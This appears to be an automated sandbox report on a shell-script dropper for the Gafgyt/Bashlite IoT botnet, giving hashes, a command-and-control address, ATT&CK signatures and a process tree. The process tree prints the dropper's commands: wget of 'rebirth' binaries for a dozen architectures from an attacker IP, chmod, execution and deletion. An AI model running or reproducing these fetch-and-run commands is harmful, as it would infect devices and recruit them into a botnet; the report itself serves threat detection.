Overview

overview

10

Static

static

1

d2d1c037dd...c95.sh

ubuntu-18.04-amd64

10

d2d1c037dd...c95.sh

debian-9-armhf

10

d2d1c037dd...c95.sh

debian-9-mips

10

d2d1c037dd...c95.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    94s
  • max time network
    96s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    15-12-2024 04:02

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General

  • Target

    d2d1c037dd179c345f4077b9b7ea69ed3cb625ebe7bcdcad6ce6a086e4719c95.sh

  • Size

    1KB

  • MD5

    ea40c6fc574ca6806883d693a8afa0b8

  • SHA1

    ffa5c5e27f079da0e2928b589cd629b24541e0f0

  • SHA256

    d2d1c037dd179c345f4077b9b7ea69ed3cb625ebe7bcdcad6ce6a086e4719c95

  • SHA512

    d548f484d081bcd697c3fc6f677bfdb1a41bfc1ea533d699f272ac73ddcb755489a25f2a9bc20ddae554cfa199dd4afab31c90af655ff3175acd15f529aca0a3

Score
10/10
gafgytbotnetdefense_evasiondiscovery

Malware Config

Extracted

Family

gafgyt

C2

93.123.85.5:666

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt family
    gafgyt
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

    botnetgafgyt
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

    discovery
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/d2d1c037dd179c345f4077b9b7ea69ed3cb625ebe7bcdcad6ce6a086e4719c95.sh
    /tmp/d2d1c037dd179c345f4077b9b7ea69ed3cb625ebe7bcdcad6ce6a086e4719c95.sh
    1⤵
      PID:704
      • /usr/bin/wget
        wget http://93.123.85.5/rebirth.arm4
        2⤵
        • Writes file to tmp directory
        PID:707
      • /bin/chmod
        chmod +x rebirth.arm4
        2⤵
        • File and Directory Permissions Modification
        PID:724
      • /tmp/rebirth.arm4
        ./rebirth.arm4
        2⤵
        • Executes dropped EXE
        PID:726
      • /bin/rm
        rm -rf rebirth.arm4
        2⤵
          PID:729
        • /usr/bin/wget
          wget http://93.123.85.5/rebirth.arm4t
          2⤵
          • Writes file to tmp directory
          PID:730
        • /bin/chmod
          chmod +x rebirth.arm4t
          2⤵
          • File and Directory Permissions Modification
          PID:736
        • /tmp/rebirth.arm4t
          ./rebirth.arm4t
          2⤵
            PID:737
          • /bin/rm
            rm -rf rebirth.arm4t
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://93.123.85.5/rebirth.arm5
              2⤵
              • Writes file to tmp directory
              PID:741
            • /bin/chmod
              chmod +x rebirth.arm5
              2⤵
              • File and Directory Permissions Modification
              PID:743
            • /tmp/rebirth.arm5
              ./rebirth.arm5
              2⤵
                PID:744
              • /bin/rm
                rm -rf rebirth.arm5
                2⤵
                  PID:746
                • /usr/bin/wget
                  wget http://93.123.85.5/rebirth.arm6
                  2⤵
                  • Writes file to tmp directory
                  PID:747
                • /bin/chmod
                  chmod +x rebirth.arm6
                  2⤵
                  • File and Directory Permissions Modification
                  PID:748
                • /tmp/rebirth.arm6
                  ./rebirth.arm6
                  2⤵
                    PID:749
                  • /bin/rm
                    rm -rf rebirth.arm6
                    2⤵
                      PID:751
                    • /usr/bin/wget
                      wget http://93.123.85.5/rebirth.i686
                      2⤵
                      • Writes file to tmp directory
                      PID:752
                    • /bin/chmod
                      chmod +x rebirth.i686
                      2⤵
                      • File and Directory Permissions Modification
                      PID:753
                    • /tmp/rebirth.i686
                      ./rebirth.i686
                      2⤵
                        PID:754
                      • /bin/rm
                        rm -rf rebirth.i686
                        2⤵
                          PID:756
                        • /usr/bin/wget
                          wget http://93.123.85.5/rebirth.m68
                          2⤵
                          • Writes file to tmp directory
                          PID:757
                        • /bin/chmod
                          chmod +x rebirth.m68
                          2⤵
                          • File and Directory Permissions Modification
                          PID:758
                        • /tmp/rebirth.m68
                          ./rebirth.m68
                          2⤵
                            PID:759
                          • /bin/rm
                            rm -rf rebirth.m68
                            2⤵
                              PID:761
                            • /usr/bin/wget
                              wget http://93.123.85.5/rebirth.mips
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:762
                            • /bin/chmod
                              chmod +x rebirth.mips
                              2⤵
                              • File and Directory Permissions Modification
                              PID:763
                            • /tmp/rebirth.mips
                              ./rebirth.mips
                              2⤵
                              • System Network Configuration Discovery
                              PID:764
                            • /bin/rm
                              rm -rf rebirth.mips
                              2⤵
                              • System Network Configuration Discovery
                              PID:766
                            • /usr/bin/wget
                              wget http://93.123.85.5/rebirth.mpsl
                              2⤵
                              • Writes file to tmp directory
                              PID:767
                            • /bin/chmod
                              chmod +x rebirth.mpsl
                              2⤵
                              • File and Directory Permissions Modification
                              PID:768
                            • /tmp/rebirth.mpsl
                              ./rebirth.mpsl
                              2⤵
                              • Reads system routing table
                              • Reads system network configuration
                              PID:769
                            • /bin/rm
                              rm -rf rebirth.mpsl
                              2⤵
                                PID:772
                              • /usr/bin/wget
                                wget http://93.123.85.5/rebirth.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:773
                              • /bin/chmod
                                chmod +x rebirth.ppc
                                2⤵
                                • File and Directory Permissions Modification
                                PID:774
                              • /tmp/rebirth.ppc
                                ./rebirth.ppc
                                2⤵
                                  PID:775
                                • /bin/rm
                                  rm -rf rebirth.ppc
                                  2⤵
                                    PID:777
                                  • /usr/bin/wget
                                    wget http://93.123.85.5/rebirth.spc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:778
                                  • /bin/chmod
                                    chmod +x rebirth.spc
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:781
                                  • /tmp/rebirth.spc
                                    ./rebirth.spc
                                    2⤵
                                      PID:782
                                    • /bin/rm
                                      rm -rf rebirth.spc
                                      2⤵
                                        PID:786
                                      • /usr/bin/wget
                                        wget http://93.123.85.5/rebirth.x86
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:787
                                      • /bin/chmod
                                        chmod +x rebirth.x86
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:793
                                      • /tmp/rebirth.x86
                                        ./rebirth.x86
                                        2⤵
                                          PID:795
                                        • /bin/rm
                                          rm -rf rebirth.x86
                                          2⤵
                                            PID:797
                                          • /usr/bin/wget
                                            wget http://93.123.85.5/rebirth.sh4
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:798
                                          • /bin/chmod
                                            chmod +x rebirth.sh4
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:805
                                          • /tmp/rebirth.sh4
                                            ./rebirth.sh4
                                            2⤵
                                              PID:806
                                            • /bin/rm
                                              rm -rf rebirth.sh4
                                              2⤵
                                                PID:810
                                              • /usr/bin/wget
                                                wget http://93.123.85.5/rebirth.arm7
                                                2⤵
                                                  PID:811
                                                • /bin/chmod
                                                  chmod +x rebirth.arm7
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:816
                                                • /tmp/rebirth.arm7
                                                  ./rebirth.arm7
                                                  2⤵
                                                    PID:818
                                                  • /bin/rm
                                                    rm -rf rebirth.arm7
                                                    2⤵
                                                      PID:820

                                                  Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

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                                                  Downloads

                                                  • /tmp/rebirth.arm4
                                                    Filesize

                                                    108KB

                                                    MD5

                                                    b74f3701eeb8973108ae472f2819d0cb

                                                    SHA1

                                                    98bf303a7888507d583f4a8e4bad73774920b7c3

                                                    SHA256

                                                    b62a5dcd0a95f79ad425c6e2a6180e48ada7c566540902a70148165f4df32ec4

                                                    SHA512

                                                    8526e6a47c25af114a433a4ff49ab135066de835e86c2f36a1fb4e8a7b20b1b7688b588cc53e5e66749f566058e5df4cf54fc02bc726a5c40b6fe74671562b98

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